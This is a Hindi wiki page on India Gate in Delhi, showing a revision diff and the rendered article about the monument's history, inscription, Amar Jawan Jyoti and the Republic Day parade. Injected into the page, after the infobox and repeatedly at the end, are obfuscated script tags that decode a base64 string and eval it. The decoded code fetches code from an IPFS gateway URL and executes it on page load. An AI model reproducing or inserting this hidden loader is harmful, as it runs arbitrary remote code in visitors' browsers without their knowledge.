"इंडिया गेट" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(9 सदस्यों द्वारा किये गये बीच के 34 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
[[चित्र:India-gate.jpg|इंडिया गेट, [[दिल्ली]]<br /> India Gate, Delhi|thumb]]
+
{{सूचना बक्सा पर्यटन
[[यमुना नदी]] के किनारे स्थित [[दिल्ली]] शहर [[भारत]] की राजधानी है जो प्राचीन और गतिशील इतिहास के साथ एक चमकदार आधुनिक शहर है। इस शहर में बहुपक्षीय संस्‍कृति है जो पूरे राष्‍ट्र का एक लघु ब्रह्मांड कहा जा सकता है। इस शहर में एक साथ दो अनोखे अनुभव होते हैं-
+
|चित्र=India-Gate-4.jpg
*नई दिल्‍ली अपनी चौड़ी सड़कों और ऊंची इमारतों के साथ एक समकालीन शहर होने का अनुभव कराता है जबकि
+
|चित्र का नाम=इंडिया गेट, दिल्ली
*पुरानी दिल्‍ली की सड़कों पर चलते हुए आप एक पुराने युग का नजारा ले सकते हैं, जहां तंग गलियां और पुरानी हवेलियां देखाई देती हैं। दिल्‍ली में हजारों पुराने ऐतिहासिक स्‍मारक और धार्मिक महत्‍व के स्‍थान हैं।
+
|विवरण=[[दिल्ली]] का महत्त्वपूर्ण स्‍मारक, इंडिया गेट को 80,000 से अधिक भारतीय सैनिकों की याद में निर्मित किया गया था जिन्‍होंने '''प्रथम विश्‍वयुद्ध''' में वीरगति पाई थी।
*इंडिया गेट दिल्ली के राजपथ पर स्थित है.
+
|राज्य=[[राष्ट्रीय राजधानी क्षेत्र दिल्ली]]
==निर्माण==
+
|केन्द्र शासित प्रदेश=
{{tocright}}
+
|ज़िला=[[नई दिल्ली]]
*दिल्ली के महत्‍वपूर्ण स्‍मारक, इंडिया गेट को 80,000 से अधिक भारतीय सैनिकों की याद में निर्मित किया गया था जिन्‍होंने प्रथम विश्‍वयुद्ध में वीरगति पाई थी।
+
|निर्माता=
#प्रथम विश्व युद्ध और अफ़ग़ान युद्ध में मारे गए भारतीय जवानों की याद में 1931 में बनकर तैयार हुआ।
+
|स्वामित्व=
#यह स्‍मारक 42 मीटर ऊंची आर्च से सज्जित है।
+
|प्रबंधक=
#इसे प्रसिद्ध वास्‍तुकार 'एडविन ल्‍यूटियन्‍स' ने डिजाइन किया था। इंडिया गेट को पहले अखिल भारतीय युद्ध स्‍मृति के नाम से जाना जाता था।
+
|निर्माण काल=[[1931]]
#इंडिया गेट की डिजाइन इसके फ्रांसीसी प्रतिरूप 'स्‍मारक आर्क - डी - ट्रायोम्‍फ' के समान है।
+
|स्थापना= इंडिया गेट की नींव 1921 में [[ड्यूक ऑफ़ कनॉट]] ने रखी थी और इसे कुछ साल बाद तत्कालीन [[वायसराय]] [[लॉर्ड इरविन]] ने राष्ट्र को समर्पित किया था।
 
+
|भौगोलिक स्थिति=उत्तर- 28°36′46.31″; पूर्व- 77°13′45.5″
 +
|मार्ग स्थिति=इंडिया गेट, [[इंदिरा गांधी अंतरराष्ट्रीय हवाई अड्डा]] से 19.5 किमी की दूरी पर स्थित है।
 +
|प्रसिद्धि=अमर जवान ज्‍योति
 +
|कब जाएँ=
 +
|कैसे पहुँचें=हवाई जहाज़, रेल, बस आदि से पहुँचा जा सकता है।
 +
|हवाई अड्डा=इंदिरा गांधी अंतर्राष्ट्रीय हवाई अड्डा
 +
|रेलवे स्टेशन=पुरानी दिल्ली, नई दिल्ली, हज़रत निज़ामुद्दीन
 +
|बस अड्डा=सराय काले ख़ाँ बस अड्डा
 +
|यातायात=ऑटो रिक्शा, टैक्सी, मेट्रो रेल, बस
 +
|क्या देखें=अमर जवान ज्‍योति स्‍मारक, बोट क्‍लब, गणतंत्र दिवस परेड
 +
|कहाँ ठहरें=होटल, धर्मशाला, अतिथि गृह
 +
|क्या खायें=
 +
|क्या ख़रीदें=
 +
|एस.टी.डी. कोड=011
 +
|ए.टी.एम=लगभग सभी
 +
|सावधानी=
 +
|मानचित्र लिंक=[http://maps.google.com/maps?q=india+gate+delhi&hl=en&ll=28.616549,77.232599&spn=0.033981,0.084543&hnear=India+Gate,+New+Delhi,+Delhi,+India&t=m&z=14&vpsrc=6 गूगल मानचित्र]
 +
|संबंधित लेख=[[लाल क़िला दिल्ली|लाल क़िला]], [[जामा मस्जिद दिल्ली|जामा मस्जिद]], [[राष्ट्रपति भवन]]
 +
|शीर्षक 1=वास्‍तुकार
 +
|पाठ 1=एडविन ल्‍यूटियन्‍स
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=इंडिया गेट को पहले '''अखिल भारतीय युद्ध स्‍मृति''' के नाम से जाना जाता था।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन={{अद्यतन|15:57, 6 अगस्त 2013 (IST)}}
 +
}}
 +
'''इंडिया गेट''' [[दिल्ली]] का ही नहीं अपितु [[भारत]] का महत्‍वपूर्ण स्‍मारक है। इंडिया गेट को 80,000 से अधिक भारतीय सैनिकों की याद में निर्मित किया गया था जिन्‍होंने प्रथम विश्‍वयुद्ध में वीरगति पाई थी। यह स्‍मारक 42 मीटर ऊंची आर्च से सज्जित है और इसे प्रसिद्ध वास्‍तुकार एडविन ल्‍यूटियन्‍स ने डिज़ाइन किया था। इंडिया गेट को पहले '''अखिल भारतीय युद्ध स्‍मृति''' के नाम से जाना जाता था। इंडिया गेट की डिज़ाइन इसके फ्रांसीसी प्रतिरूप स्‍मारक आर्क- डी-ट्रायोम्‍फ के समान है।
 +
==भौगोलिक स्थिति==
 +
[[यमुना नदी]] के किनारे स्थित दिल्ली शहर [[भारत]] की राजधानी है जो प्राचीन और गतिशील इतिहास के साथ एक चमकदार आधुनिक शहर है। इंडिया गेट [[दिल्ली]] के [[राजपथ]] पर स्थित है। इस शहर में बहुपक्षीय संस्‍कृति है जो पूरे राष्‍ट्र का एक लघु ब्रह्मांड कहा जा सकता है। इस शहर में एक साथ दो अनोखे अनुभव होते हैं-
 +
#[[नई दिल्ली]] अपनी चौड़ी सड़कों और ऊंची इमारतों के साथ एक समकालीन शहर होने का अनुभव कराता है।
 +
#पुरानी दिल्‍ली की सड़कों पर चलते हुए आप एक पुराने [[युग]] का नज़ारा ले सकते हैं, जहाँ तंग गलियां और पुरानी हवेलियाँ दिखाई देती हैं। दिल्‍ली में हज़ारों पुराने ऐतिहासिक स्‍मारक और धार्मिक महत्‍व के स्‍थान हैं।
 +
[[चित्र:A-View-Of-India-Gate.jpg|thumb|left|इंडिया गेट, [[दिल्ली]]]]
 +
==निर्माणकाल==
 +
प्रथम विश्वयुद्ध और अफ़ग़ान युद्ध में मारे गए भारतीय जवानों की याद में [[1931]] में बनकर तैयार हुआ।
 
==वास्तुकला==
 
==वास्तुकला==
[[चित्र:India-Gate-Delhi.jpg|रात्रि दृश्य इंडिया गेट, [[दिल्ली]]<br /> Night view of India Gate, Delhi|thumb]]
+
यह इमारत लाल पत्‍थर से बनी है जो एक विशाल ढांचे के मंच पर खड़ी है। इसके आर्च के ऊपर दोनों ओर 'इंडिया' लिखा है। इसकी दीवारों पर 70,000 से अधिक भारतीय सैनिकों के नाम शिल्पित किए गए हैं, जिनकी याद में इसे बनाया गया है। इसके शीर्ष पर उथला गोलाकार बाउलनुमा आकार है जिसे विशेष अवसरों पर जलते हुए तेल से भरने के लिए बनाया गया था।
यह इमारत लाल पत्‍थर से बनी हैं जो एक विशाल ढांचे के मंच पर खड़ी है। इसके आर्च के ऊपर दोनों ओर 'इंडिया' लिखा है। इसके दीवारों पर 70,000 से अधिक भारतीय सैनिकों के नाम शिल्पित किए गए हैं, जिनकी याद में इसे बनाया गया है। इसके शीर्ष पर उथला गोलाकार बाउलनुमा आकार है जिसे विशेष अवसरों पर जलते हुए तेल से भरने के लिए बनाया गया था।
+
[[चित्र:India-gate.jpg|thumb|left|इंडिया गेट, [[दिल्ली]]]]
 
+
*इंडिया गेट जिन सैनिकों की याद में बनाया गया था उनके नाम इस इमारत पर खुदे हुए हैं। इंडिया गेट की नींव [[1921]] में [[ड्यूक ऑफ़ कनॉट]] ने रखी थी और इसे कुछ साल बाद तत्कालीन [[वायसराय]] [[लॉर्ड इरविन]] ने राष्ट्र को समर्पित किया था। इंडिया गेट दिल्ली की महत्त्वपूर्ण इमारत है। दिल्ली आने वाले पर्यटक यहाँ अवश्य आते हैं।
*शहीद सैनिकों की स्मृति में यहाँ एक राइफ़ल के ऊपर सैनिक की टोपी रखी गयी है जिसके चार कोनों पर सदैव 'अमर जवान ज्योति' जलती रहती है। इसकी दीवारों पर उन हज़ारों शहीद सैनिकों के नाम हैं। सबसे ऊपर अंग्रेजी में लिखा है-
+
*शहीद सैनिकों की स्मृति में यहाँ एक राइफ़ल के ऊपर सैनिक की टोपी रखी गयी है जिसके चार कोनों पर सदैव 'अमर जवान ज्योति' जलती रहती है। इसकी दीवारों पर उन हज़ारों शहीद सैनिकों के नाम हैं। सबसे ऊपर अंग्रेज़ी में लिखा है-
 
 
 
<blockquote>To the dead of the Indian armies who fell honoured in France and Flanders Mesopotamia and Persia East Africa Gallipoli and elsewhere in the near and the far-east and in sacred memory also of those whose names are recorded and who fell in India or the north-west frontier and during the Third Afgan War.
 
<blockquote>To the dead of the Indian armies who fell honoured in France and Flanders Mesopotamia and Persia East Africa Gallipoli and elsewhere in the near and the far-east and in sacred memory also of those whose names are recorded and who fell in India or the north-west frontier and during the Third Afgan War.
 
<br />
 
<br />
+
भारतीय सेनाओं के शहीदों के लिए, जो [[फ्रांस]] और फ्लैंडर्स मेसोपोटामिया, [[फारस]], पूर्वी अफ्रीका गैलीपोली और निकटपूर्व एवं सुदूरपूर्व की अन्य जगहों पर शहीद हुए, और उनकी पवित्र स्मृति में भी जिनके नाम दर्ज हैं और जो तीसरे अफ़ग़ान युद्ध में [[भारत]] में या उत्तर-पश्चिमी सीमा पर मृतक हुए।</blockquote>
 
 
भारतीय सेनाओं के शहीदों के लिए, जो फ्रांस और फ्लैंडर्स मेसोपोटामिया, फारस, पूर्वी अफ्रीका गैलीपोली और निकटपूर्व एवं सुदूरपूर्व की अन्य जगहों पर शहीद हुए, और उनकी पवित्र स्मृति में भी जिनके नाम दर्ज़ हैं और जो तीसरे अफ़ग़ान युद्ध में भारत में या उत्तर-पश्चिमी सीमा पर मृतक हुए।</blockquote>
 
 
 
 
==अमर जवान ज्‍योति==
 
==अमर जवान ज्‍योति==
इंडिया गेट के बेस पर एक अन्‍य स्‍मारक, अमर जवान ज्‍योति है, जिसे स्‍वतंत्रता के बाद जोड़ा गया था। यहां निरंतर एक ज्‍वाला जलती है जो उन अंजान सैनिकों की याद में है जिन्‍होंने इस राष्‍ट्र की सेवा में अपना जीवन समर्पित कर दिया।
+
इंडिया गेट के तल पर एक अन्‍य स्‍मारक, अमर जवान ज्‍योति है, जिसे स्‍वतंत्रता के बाद जोड़ा गया था। यहाँ निरंतर एक ज्‍वाला जलती है जो उन अंजान सैनिकों की याद में है जिन्‍होंने इस राष्‍ट्र की सेवा में अपना जीवन समर्पित कर दिया। [[चित्र:Amar-Jawan-Jyoti.jpg|thumb|left|250px|अमर जवान ज्‍योति, इंडिया गेट, [[दिल्ली]]]] अमर जवान ज्योति की स्थापना [[1971]] के [[भारत-पाकिस्तान युद्ध (1971)|भारत-पाक युद्ध]] में भाग लेने वाले सैनिकों की याद में की गई थी।
 
 
 
==बोट क्‍लब==
 
==बोट क्‍लब==
इसके आस पास हरे भरे मैदान, बच्‍चों का उद्यान और प्रसिद्ध बोट क्‍लब इसे एक उपयुक्‍त पिकनिक स्‍थल बनाते हैं। इंडिया गेट के फव्‍वारे के पास बहती शाम की ठण्डी हवा ढेर सारे दर्शकों को यहां आकर्षित करती हैं। शाम के समय इंडिया गेट के चारों ओर लगी रोशनियों से इसे प्रकाशमान किया जाता है जिससे एक भव्‍य दृश्‍य बनता है। स्‍मारक के पास खड़े होकर [[राष्‍ट्रपति भवन]] का नज़ारा लिया जा सकता है। सुंदरतापूर्वक रोशनी से भरे हुए इस स्‍मारक के पीछे काला होता आकाश इसे एक यादगार पृष्‍ठभूमि प्रदान करता है। दिन के प्रकाश में भी इंडिया गेट और राष्‍ट्रपति भवन के बीच एक मनोहारी दृश्‍य दिखाई देता है।
+
इसके आस पास हरे भरे मैदान, बच्‍चों का उद्यान और प्रसिद्ध बोट क्‍लब इसे एक उपयुक्‍त पिकनिक स्‍थल बनाते हैं। इंडिया गेट के फव्‍वारे के पास बहती शाम की ठण्डी हवा ढेर सारे दर्शकों को यहाँ आकर्षित करती है। शाम के समय इंडिया गेट के चारों ओर लगी रोशनियों से इसे प्रकाशमान किया जाता है जिससे एक भव्‍य दृश्‍य बनता है। स्‍मारक के पास खड़े होकर [[राष्‍ट्रपति भवन]] का नज़ारा लिया जा सकता है। सुंदरतापूर्वक रोशनी से भरे हुए इस स्‍मारक के पीछे काला होता [[आकाश]] इसे एक यादगार पृष्‍ठभूमि प्रदान करता है। [[दिन]] के [[प्रकाश]] में भी इंडिया गेट और [[राष्‍ट्रपति भवन]] के बीच एक मनोहारी दृश्‍य दिखाई देता है।
 +
[[चित्र:Gurkha-Rifles.jpg|thumb|[[गणतंत्र दिवस]] पर गुरखा राइफल्स की परेड]]
 
==गणतंत्र दिवस परेड==
 
==गणतंत्र दिवस परेड==
हर वर्ष 26 जनवरी को इंडिया गेट गणतंत्र दिवस की परेड का गवाह बनता है जहां आधुनिकतम रक्षा प्रौद्योगिकी के उन्‍नयन का प्रदर्शन किया जाता है। यहां आयोजित की जाने वाली परेड भारत देश की रंगीन और विविध सांस्‍कृतिक विरासत की झलक भी दिखाती है, जिसमें देश भर से आए हुए कलाकार इस अवसर पर अपनी कला का प्रदर्शन करते हैं।
+
हर [[वर्ष]] [[26 जनवरी]] को इंडिया गेट [[गणतंत्र दिवस]] की परेड का गवाह बनता है। जहाँ आधुनिकतम रक्षा प्रौद्योगिकी के उन्‍नयन का प्रदर्शन किया जाता है। यहाँ आयोजित की जाने वाली परेड [[भारत]] देश की रंगीन और विविध सांस्‍कृतिक विरासत की झलक भी दिखाती है, जिसमें देश भर से आए हुए कलाकार इस अवसर पर अपनी [[कला]] का प्रदर्शन करते हैं।
==सम्बंधित लिंक==
 
{{दिल्ली}}
 
  
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 +
==वीथिका==
 +
<gallery>
 +
चित्र:India-Gate-3.jpg|इंडिया गेट, [[दिल्ली]]
 +
चित्र:India-Gate-Delhi-8.jpg|इंडिया गेट, [[दिल्ली]]
 +
चित्र:India-Gate-Delhi.jpg|इंडिया गेट, [[दिल्ली]]
 +
</gallery>
 +
==टीका-टिप्पणी और संदर्भ==
 +
<references/>
 +
==बाहरी कड़ियाँ==
 +
*[http://knowindia.gov.in/hindi/knowindia/culture_heritage.php?id=44 भारत की आधिकारिक वेबसाइट ]
 +
*[http://www.delhitourism.nic.in/delhitourism/hindi/india_tourist_destination/index_3.jsp भारत के पर्यटन गंतव्यों की सूची ]
 +
==संबंधित लेख==
 +
{{भारत के मुख्य पर्यटन स्थल}}{{दिल्ली}}
 
[[Category:राष्ट्रीय राजधानी क्षेत्र दिल्ली]]
 
[[Category:राष्ट्रीय राजधानी क्षेत्र दिल्ली]]
 +
[[Category:दिल्ली]]
 +
[[Category:दिल्ली के पर्यटन स्थल]]
 
[[Category:राष्ट्रीय स्मारक]]  
 
[[Category:राष्ट्रीय स्मारक]]  
 
[[Category:ऐतिहासिक स्थल]]
 
[[Category:ऐतिहासिक स्थल]]
पंक्ति 41: पंक्ति 84:
 
[[Category:पर्यटन कोश]]
 
[[Category:पर्यटन कोश]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

07:26, 6 मई 2018 के समय का अवतरण

इंडिया गेट
इंडिया गेट, दिल्ली
विवरण दिल्ली का महत्त्वपूर्ण स्‍मारक, इंडिया गेट को 80,000 से अधिक भारतीय सैनिकों की याद में निर्मित किया गया था जिन्‍होंने प्रथम विश्‍वयुद्ध में वीरगति पाई थी।
राज्य राष्ट्रीय राजधानी क्षेत्र दिल्ली
ज़िला नई दिल्ली
निर्माण काल 1931
स्थापना इंडिया गेट की नींव 1921 में ड्यूक ऑफ़ कनॉट ने रखी थी और इसे कुछ साल बाद तत्कालीन वायसराय लॉर्ड इरविन ने राष्ट्र को समर्पित किया था।
भौगोलिक स्थिति उत्तर- 28°36′46.31″; पूर्व- 77°13′45.5″
मार्ग स्थिति इंडिया गेट, इंदिरा गांधी अंतरराष्ट्रीय हवाई अड्डा से 19.5 किमी की दूरी पर स्थित है।
प्रसिद्धि अमर जवान ज्‍योति
कैसे पहुँचें हवाई जहाज़, रेल, बस आदि से पहुँचा जा सकता है।
हवाई अड्डा इंदिरा गांधी अंतर्राष्ट्रीय हवाई अड्डा
रेलवे स्टेशन पुरानी दिल्ली, नई दिल्ली, हज़रत निज़ामुद्दीन
बस अड्डा सराय काले ख़ाँ बस अड्डा
यातायात ऑटो रिक्शा, टैक्सी, मेट्रो रेल, बस
क्या देखें अमर जवान ज्‍योति स्‍मारक, बोट क्‍लब, गणतंत्र दिवस परेड
कहाँ ठहरें होटल, धर्मशाला, अतिथि गृह
एस.टी.डी. कोड 011
ए.टी.एम लगभग सभी
Map-icon.gif गूगल मानचित्र
संबंधित लेख लाल क़िला, जामा मस्जिद, राष्ट्रपति भवन वास्‍तुकार एडविन ल्‍यूटियन्‍स
अन्य जानकारी इंडिया गेट को पहले अखिल भारतीय युद्ध स्‍मृति के नाम से जाना जाता था।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इंडिया गेट दिल्ली का ही नहीं अपितु भारत का महत्‍वपूर्ण स्‍मारक है। इंडिया गेट को 80,000 से अधिक भारतीय सैनिकों की याद में निर्मित किया गया था जिन्‍होंने प्रथम विश्‍वयुद्ध में वीरगति पाई थी। यह स्‍मारक 42 मीटर ऊंची आर्च से सज्जित है और इसे प्रसिद्ध वास्‍तुकार एडविन ल्‍यूटियन्‍स ने डिज़ाइन किया था। इंडिया गेट को पहले अखिल भारतीय युद्ध स्‍मृति के नाम से जाना जाता था। इंडिया गेट की डिज़ाइन इसके फ्रांसीसी प्रतिरूप स्‍मारक आर्क- डी-ट्रायोम्‍फ के समान है।

भौगोलिक स्थिति

यमुना नदी के किनारे स्थित दिल्ली शहर भारत की राजधानी है जो प्राचीन और गतिशील इतिहास के साथ एक चमकदार आधुनिक शहर है। इंडिया गेट दिल्ली के राजपथ पर स्थित है। इस शहर में बहुपक्षीय संस्‍कृति है जो पूरे राष्‍ट्र का एक लघु ब्रह्मांड कहा जा सकता है। इस शहर में एक साथ दो अनोखे अनुभव होते हैं-

  1. नई दिल्ली अपनी चौड़ी सड़कों और ऊंची इमारतों के साथ एक समकालीन शहर होने का अनुभव कराता है।
  2. पुरानी दिल्‍ली की सड़कों पर चलते हुए आप एक पुराने युग का नज़ारा ले सकते हैं, जहाँ तंग गलियां और पुरानी हवेलियाँ दिखाई देती हैं। दिल्‍ली में हज़ारों पुराने ऐतिहासिक स्‍मारक और धार्मिक महत्‍व के स्‍थान हैं।
इंडिया गेट, दिल्ली

निर्माणकाल

प्रथम विश्वयुद्ध और अफ़ग़ान युद्ध में मारे गए भारतीय जवानों की याद में 1931 में बनकर तैयार हुआ।

वास्तुकला

यह इमारत लाल पत्‍थर से बनी है जो एक विशाल ढांचे के मंच पर खड़ी है। इसके आर्च के ऊपर दोनों ओर 'इंडिया' लिखा है। इसकी दीवारों पर 70,000 से अधिक भारतीय सैनिकों के नाम शिल्पित किए गए हैं, जिनकी याद में इसे बनाया गया है। इसके शीर्ष पर उथला गोलाकार बाउलनुमा आकार है जिसे विशेष अवसरों पर जलते हुए तेल से भरने के लिए बनाया गया था।

इंडिया गेट, दिल्ली
  • इंडिया गेट जिन सैनिकों की याद में बनाया गया था उनके नाम इस इमारत पर खुदे हुए हैं। इंडिया गेट की नींव 1921 में ड्यूक ऑफ़ कनॉट ने रखी थी और इसे कुछ साल बाद तत्कालीन वायसराय लॉर्ड इरविन ने राष्ट्र को समर्पित किया था। इंडिया गेट दिल्ली की महत्त्वपूर्ण इमारत है। दिल्ली आने वाले पर्यटक यहाँ अवश्य आते हैं।
  • शहीद सैनिकों की स्मृति में यहाँ एक राइफ़ल के ऊपर सैनिक की टोपी रखी गयी है जिसके चार कोनों पर सदैव 'अमर जवान ज्योति' जलती रहती है। इसकी दीवारों पर उन हज़ारों शहीद सैनिकों के नाम हैं। सबसे ऊपर अंग्रेज़ी में लिखा है-

To the dead of the Indian armies who fell honoured in France and Flanders Mesopotamia and Persia East Africa Gallipoli and elsewhere in the near and the far-east and in sacred memory also of those whose names are recorded and who fell in India or the north-west frontier and during the Third Afgan War.


भारतीय सेनाओं के शहीदों के लिए, जो फ्रांस और फ्लैंडर्स मेसोपोटामिया, फारस, पूर्वी अफ्रीका गैलीपोली और निकटपूर्व एवं सुदूरपूर्व की अन्य जगहों पर शहीद हुए, और उनकी पवित्र स्मृति में भी जिनके नाम दर्ज हैं और जो तीसरे अफ़ग़ान युद्ध में भारत में या उत्तर-पश्चिमी सीमा पर मृतक हुए।

अमर जवान ज्‍योति

इंडिया गेट के तल पर एक अन्‍य स्‍मारक, अमर जवान ज्‍योति है, जिसे स्‍वतंत्रता के बाद जोड़ा गया था। यहाँ निरंतर एक ज्‍वाला जलती है जो उन अंजान सैनिकों की याद में है जिन्‍होंने इस राष्‍ट्र की सेवा में अपना जीवन समर्पित कर दिया।

अमर जवान ज्‍योति, इंडिया गेट, दिल्ली

अमर जवान ज्योति की स्थापना 1971 के भारत-पाक युद्ध में भाग लेने वाले सैनिकों की याद में की गई थी।

बोट क्‍लब

इसके आस पास हरे भरे मैदान, बच्‍चों का उद्यान और प्रसिद्ध बोट क्‍लब इसे एक उपयुक्‍त पिकनिक स्‍थल बनाते हैं। इंडिया गेट के फव्‍वारे के पास बहती शाम की ठण्डी हवा ढेर सारे दर्शकों को यहाँ आकर्षित करती है। शाम के समय इंडिया गेट के चारों ओर लगी रोशनियों से इसे प्रकाशमान किया जाता है जिससे एक भव्‍य दृश्‍य बनता है। स्‍मारक के पास खड़े होकर राष्‍ट्रपति भवन का नज़ारा लिया जा सकता है। सुंदरतापूर्वक रोशनी से भरे हुए इस स्‍मारक के पीछे काला होता आकाश इसे एक यादगार पृष्‍ठभूमि प्रदान करता है। दिन के प्रकाश में भी इंडिया गेट और राष्‍ट्रपति भवन के बीच एक मनोहारी दृश्‍य दिखाई देता है।

गणतंत्र दिवस पर गुरखा राइफल्स की परेड

गणतंत्र दिवस परेड

हर वर्ष 26 जनवरी को इंडिया गेट गणतंत्र दिवस की परेड का गवाह बनता है। जहाँ आधुनिकतम रक्षा प्रौद्योगिकी के उन्‍नयन का प्रदर्शन किया जाता है। यहाँ आयोजित की जाने वाली परेड भारत देश की रंगीन और विविध सांस्‍कृतिक विरासत की झलक भी दिखाती है, जिसमें देश भर से आए हुए कलाकार इस अवसर पर अपनी कला का प्रदर्शन करते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

वीथिका

टीका-टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>